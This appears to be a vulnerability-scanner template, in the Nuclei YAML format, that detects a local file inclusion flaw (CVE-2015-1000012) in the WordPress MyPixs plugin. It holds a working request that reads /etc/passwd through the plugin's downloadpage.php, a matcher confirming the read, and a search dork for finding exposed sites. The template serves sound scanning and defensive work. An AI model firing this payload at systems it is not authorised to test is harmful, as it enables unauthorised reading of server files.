id: CVE-2015-1000012

info:
  name: WordPress MyPixs <=0.3 - Local File Inclusion
  author: daffainfo
  severity: high
  description: WordPress MyPixs 0.3 and prior contains a local file inclusion vulnerability.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or gain unauthorized access to the server.
  remediation: |
    Update to the latest version of the MyPixs plugin (>=0.4) or apply the vendor-provided patch to fix the LFI vulnerability.
  reference:
    - https://wpscan.com/vulnerability/24b83ce5-e3b8-4262-b087-a2dfec014985
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1000012
    - http://www.vapidlabs.com/advisory.php?v=154
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1000012
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-1000012
    cwe-id: CWE-200
    epss-score: 0.68585
    epss-percentile: 0.98636
    cpe: cpe:2.3:a:mypixs_project:mypixs:0.3:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: mypixs_project
    product: mypixs
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/mypixs"
  tags: cve,cve2015,wordpress,wp-plugin,lfi,wpscan,mypixs_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/mypixs/mypixs/downloadpage.php?url=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dbc1f2e07beb93f259ca28d9ff259e968d7ea9724d0a6a256688226bdbfa008a02200f1c843d61bae9fb25844f971935fff3f1c62190ce6d3e79153314fc11a29b8a:922c64590222798bb761d5b6d8e72950